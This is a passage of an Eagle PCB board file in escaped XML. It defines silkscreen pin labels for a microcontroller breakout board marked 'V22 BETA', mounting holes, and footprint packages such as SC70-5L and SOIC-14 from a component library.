font=\"vector\" ratio=\"15\" rot=\"R90\">RA7</text>\n<text x=\"48.5\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA6</text>\n<text x=\"51\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG0</text>\n<text x=\"53.5\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG1</text>\n<text x=\"55.9\" y=\"72\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF1</text>\n<text x=\"58.6\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF0</text>\n<text x=\"61.2\" y=\"72\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD7</text>\n<text x=\"63.7\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD6</text>\n<text x=\"66.3\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD5</text>\n<text x=\"68.9\" y=\"72\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD4</text>\n<text x=\"71.3\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD13</text>\n<text x=\"73.9\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD12</text>\n<text x=\"76.4\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD3</text>\n<text x=\"79\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD2</text>\n<text x=\"81.5\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD1</text>\n<text x=\"84\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RC14</text>\n<text x=\"86.6\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RC13</text>\n<text x=\"89.2\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD0</text>\n<text x=\"91.7\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD11</text>\n<text x=\"94.2\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD10</text>\n<text x=\"96.8\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD9</text>\n<text x=\"99.4\" y=\"72\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD8</text>\n<text x=\"4.3\" y=\"63.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">!MCLR</text>\n<text x=\"4.2\" y=\"60.6\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">3V3</text>\n<text x=\"4.3\" y=\"58.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">GND</text>\n<text x=\"4\" y=\"55.6\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">PGED2/RB7</text>\n<text x=\"3.9\" y=\"53.2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">PGEC2/RB6</text>\n<text x=\"4\" y=\"50.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">RB2</text>\n<text x=\"4\" y=\"47.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">RB1</text>\n<text x=\"4.1\" y=\"45.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">RB0</text>\n<text x=\"54\" y=\"0.4\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">-</text>\n<text x=\"61.9\" y=\"0.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">+</text>\n<text x=\"71.7\" y=\"3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">+</text>\n<text x=\"44.2\" y=\"3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">-</text>\n<hole x=\"2.8\" y=\"72.5\" drill=\"3.5\"/>\n<hole x=\"3.6\" y=\"2\" drill=\"3.5\"/>\n<hole x=\"109.2\" y=\"72.4\" drill=\"3.5\"/>\n<hole x=\"107.5\" y=\"2.7\" drill=\"3.5\"/>\n<wire x1=\"36.4\" y1=\"13.9\" x2=\"39.4\" y2=\"13.9\" width=\"0.2\" layer=\"21\"/>\n<wire x1=\"40.4\" y1=\"12.9\" x2=\"39.4\" y2=\"13.9\" width=\"0.2\" layer=\"21\"/>\n<wire x1=\"39.4\" y1=\"13.9\" x2=\"44.3\" y2=\"13.9\" width=\"0.2\" layer=\"21\"/>\n<text x=\"74.6\" y=\"40\" size=\"5.08\" layer=\"21\" ratio=\"15\">V22</text>\n<text x=\"78.1\" y=\"37.7\" size=\"1.778\" layer=\"21\" ratio=\"15\">BETA</text>\n<text x=\"107.1\" y=\"61.1\" size=\"1.778\" layer=\"21\">+</text>\n<text x=\"108.9\" y=\"66.8\" size=\"1.778\" layer=\"21\" rot=\"R90\">-</text>\n</plain>\n<libraries>\n<library name=\"1FAB\">\n<description>AMR's Library</description>\n<packages>\n<package name=\"SC70-5L\">\n<description>&lt;b&gt;SC-70 Package&lt;/b&gt;</description>\n<wire x1=\"1.1\" y1=\"-0.5\" x2=\"-1.1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.1\" y1=\"-0.5\" x2=\"-1.1\" y2=\"0.5\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"0.5\" x2=\"1.1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.1\" y1=\"0.5\" x2=\"1.1\" y2=\"-0.5\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"4\" x=\"0.65\" y=\"0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"5\" x=\"-0.65\" y=\"0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"-0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"2\" x=\"0\" y=\"-0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<smd name=\"3\" x=\"0.65\" y=\"-0.85\" dx=\"0.35\" dy=\"0.8\" layer=\"1\"/>\n<text x=\"-1.2\" y=\"1.35\" size=\"1.016\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.2\" y=\"-2.35\" size=\"1.016\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.5\" y1=\"0.6\" x2=\"0.8\" y2=\"1.1\" layer=\"51\"/>\n<rectangle x1=\"-0.8\" y1=\"0.6\" x2=\"-0.5\" y2=\"1.1\" layer=\"51\"/>\n<rectangle x1=\"-0.8\" y1=\"-1.1\" x2=\"-0.5\" y2=\"-0.6\" layer=\"51\"/>\n<rectangle x1=\"-0.15\" y1=\"-1.1\" x2=\"0.15\" y2=\"-0.6\" layer=\"51\"/>\n<rectangle x1=\"0.5\" y1=\"-1.1\" x2=\"0.8\" y2=\"-0.6\" layer=\"51\"/>\n<text x=\"-2.032\" y=\"-1.524\" size=\"1.016\" layer=\"21\">*</text>\n</package>\n<package name=\"SOT65P210X110-6N\">\n<smd name=\"1\" x=\"-1.0414\" y=\"0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"2\" x=\"-1.0414\" y=\"0\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"3\" x=\"-1.0414\" y=\"-0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"4\" x=\"1.0414\" y=\"-0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"5\" x=\"1.0414\" y=\"0\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<smd name=\"6\" x=\"1.0414\" y=\"0.6604\" dx=\"1.1684\" dy=\"0.3556\" layer=\"1\"/>\n<wire x1=\"-0.2286\" y1=\"-1.0668\" x2=\"0.2286\" y2=\"-1.0668\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.2286\" y1=\"1.0668\" x2=\"-0.2286\" y2=\"1.0668\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.127\" y1=\"0.7874\" x2=\"-0.127\" y2=\"0.7874\" width=\"0.1524\" layer=\"21\" curve=\"-49\"/>\n<text x=\"-1.8796\" y=\"0.8636\" size=\"1.27\" layer=\"21\" ratio=\"6\" rot=\"SR0\">*</text>\n<wire x1=\"-0.7112\" y1=\"-1.0668\" x2=\"0.7112\" y2=\"-1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-1.0668\" x2=\"0.7112\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.7874\" x2=\"0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.508\" x2=\"0.7112\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.1524\" x2=\"0.7112\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"0.1524\" x2=\"0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"1.0668\" x2=\"0.3048\" y2=\"1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"1.0668\" x2=\"-0.3048\" y2=\"1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.3048\" y1=\"1.0668\" x2=\"-0.7112\" y2=\"1.0668\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"1.0668\" x2=\"-0.7112\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.7874\" x2=\"-0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.508\" x2=\"-0.7112\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.1524\" x2=\"-0.7112\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-0.1524\" x2=\"-0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.7874\" x2=\"-1.1938\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"0.7874\" x2=\"-1.1938\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"0.508\" x2=\"-0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"0.1524\" x2=\"-1.1938\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"0.1524\" x2=\"-1.1938\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"-0.1524\" x2=\"-0.7112\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-1.0668\" x2=\"-0.7112\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-0.7874\" x2=\"-0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-0.7112\" y1=\"-0.508\" x2=\"-1.1938\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"-0.508\" x2=\"-1.1938\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"-1.1938\" y1=\"-0.7874\" x2=\"-0.7112\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.7874\" x2=\"1.1938\" y2=\"-0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"-0.7874\" x2=\"1.1938\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"-0.508\" x2=\"0.7112\" y2=\"-0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"-0.1524\" x2=\"1.1938\" y2=\"-0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"-0.1524\" x2=\"1.1938\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"0.1524\" x2=\"0.7112\" y2=\"0.1524\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"1.0668\" x2=\"0.7112\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"0.7874\" x2=\"0.7112\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.7112\" y1=\"0.508\" x2=\"1.1938\" y2=\"0.508\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"0.508\" x2=\"1.1938\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"1.1938\" y1=\"0.7874\" x2=\"0.7112\" y2=\"0.7874\" width=\"0\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"1.0668\" x2=\"-0.3048\" y2=\"1.0668\" width=\"0\" layer=\"51\" curve=\"-180\"/>\n<text x=\"-1.8796\" y=\"0.8636\" size=\"1.27\" layer=\"51\" ratio=\"6\" rot=\"SR0\">*</text>\n<text x=\"-3.4544\" y=\"2.54\" size=\"2.0828\" layer=\"25\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<text x=\"-3.4544\" y=\"-4.445\" size=\"2.0828\" layer=\"27\" ratio=\"10\" rot=\"SR0\">&gt;VALUE</text>\n</package>\n<package name=\"SOIC127P600X175-14N\">\n<smd name=\"1\" x=\"-2.3622\" y=\"3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"2\" x=\"-2.3622\" y=\"2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"3\" x=\"-2.3622\" y=\"1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"4\" x=\"-2.3622\" y=\"0\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"5\" x=\"-2.3622\" y=\"-1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"6\" x=\"-2.3622\" y=\"-2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"7\" x=\"-2.3622\" y=\"-3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"8\" x=\"2.3622\" y=\"-3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"9\" x=\"2.3622\" y=\"-2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"10\" x=\"2.3622\" y=\"-1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"11\" x=\"2.3622\" y=\"0\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"12\" x=\"2.3622\" y=\"1.27\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"13\" x=\"2.3622\" y=\"2.54\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<smd name=\"14\" x=\"2.3622\" y=\"3.81\" dx=\"1.9812\" dy=\"0.5588\" layer=\"1\"/>\n<wire x1=\"-1.9558\" y1=\"3.556\" x2=\"-1.9558\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"4.064\" x2=\"-2.0066\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"4.064\" x2=\"-2.9972\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"4.064\" x2=\"-2.9972\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"3.556\" x2=\"-2.0066\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"3.556\" x2=\"-1.9558\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"2.286\" x2=\"-1.9558\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"2.794\" x2=\"-2.0066\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.794\" x2=\"-2.9972\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"2.794\" x2=\"-2.9972\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"2.286\" x2=\"-2.0066\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"2.286\" x2=\"-1.9558\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"1.016\" x2=\"-1.9558\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"1.524\" x2=\"-2.0066\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.524\" x2=\"-2.9972\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"1.524\" x2=\"-2.9972\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"1.016\" x2=\"-2.0066\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"1.016\" x2=\"-1.9558\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-0.254\" x2=\"-1.9558\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"0.254\" x2=\"-2.0066\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"0.254\" x2=\"-2.9972\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"0.254\" x2=\"-2.9972\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-0.254\" x2=\"-2.0066\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-0.254\" x2=\"-1.9558\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-1.524\" x2=\"-1.9558\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-1.016\" x2=\"-2.0066\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.016\" x2=\"-2.9972\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-1.016\" x2=\"-2.9972\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-1.524\" x2=\"-2.0066\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-1.524\" x2=\"-1.9558\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-2.794\" x2=\"-1.9558\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-2.286\" x2=\"-2.0066\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.286\" x2=\"-2.9972\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-2.286\" x2=\"-2.9972\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-2.794\" x2=\"-2.0066\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-2.794\" x2=\"-1.9558\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-4.064\" x2=\"-1.9558\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-3.556\" x2=\"-2.0066\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-3.556\" x2=\"-2.9972\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-3.556\" x2=\"-2.9972\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.9972\" y1=\"-4.064\" x2=\"-2.0066\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.0066\" y1=\"-4.064\" x2=\"-1.9558\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-3.556\" x2=\"1.9558\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-4.064\" x2=\"2.0066\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-4.064\" x2=\"2.9972\" y2=\"-4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-4.064\" x2=\"2.9972\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-3.556\" x2=\"2.0066\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-3.556\" x2=\"1.9558\" y2=\"-3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-2.286\" x2=\"1.9558\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-2.794\" x2=\"2.0066\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.794\" x2=\"2.9972\" y2=\"-2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-2.794\" x2=\"2.9972\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-2.286\" x2=\"2.0066\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-2.286\" x2=\"1.9558\" y2=\"-2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-1.016\" x2=\"1.9558\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-1.524\" x2=\"2.0066\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.524\" x2=\"2.9972\" y2=\"-1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-1.524\" x2=\"2.9972\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-1.016\" x2=\"2.0066\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-1.016\" x2=\"1.9558\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"0.254\" x2=\"1.9558\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-0.254\" x2=\"2.0066\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"-0.254\" x2=\"2.9972\" y2=\"-0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"-0.254\" x2=\"2.9972\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"0.254\" x2=\"2.0066\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"0.254\" x2=\"1.9558\" y2=\"0.254\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"1.524\" x2=\"1.9558\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"1.016\" x2=\"2.0066\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.016\" x2=\"2.9972\" y2=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"1.016\" x2=\"2.9972\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"1.524\" x2=\"2.0066\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"1.524\" x2=\"1.9558\" y2=\"1.524\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"2.794\" x2=\"1.9558\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"2.286\" x2=\"2.0066\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.286\" x2=\"2.9972\" y2=\"2.286\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"2.286\" x2=\"2.9972\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"2.794\" x2=\"2.0066\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"2.794\" x2=\"1.9558\" y2=\"2.794\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"4.064\" x2=\"1.9558\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"3.556\" x2=\"2.0066\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"3.556\" x2=\"2.9972\" y2=\"3.556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"3.556\" x2=\"2.9972\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.9972\" y1=\"4.064\" x2=\"2.0066\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.0066\" y1=\"4.064\" x2=\"1.9558\" y2=\"4.064\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"-4.318\" x2=\"1.9558\" y2=\"-4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"-4.318\" x2=\"1.9558\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.9558\" y1=\"4.318\" x2=\"0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3048\" y1=\"4.318\" x2=\"-1.9558\" y2=\"4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.9558\" y1=\"4.318\" x2=\"-1.9558\" y2=\"-4.318\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0\" layer=\"51\" curve=\"-180\"/>\n<wire x1=\"-1.143\" y1=\"-4.318\" x2=\"1.143\" y2=\"-4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.143\" y1=\"4.318\" x2=\"0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3048\" y1=\"4.318\" x2=\"-1.143\" y2=\"4.318\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.3048\" y1=\"4.318\" x2=\"-0.3048\" y2=\"4.318\" width=\"0\" layer=\"21\" curve=\"-180\"/>\n<text x=\"-4.318\" y=\"5.1816\" size=\"2.0828\" layer=\"25\" ratio=\"10\" rot=\"SR0\">&gt;NAME</text>\n<wire x1=\"-2.0066\" y1=\"3.556\" x2=\"-2.0066\" y2=\"4.064\" width=\"0\" 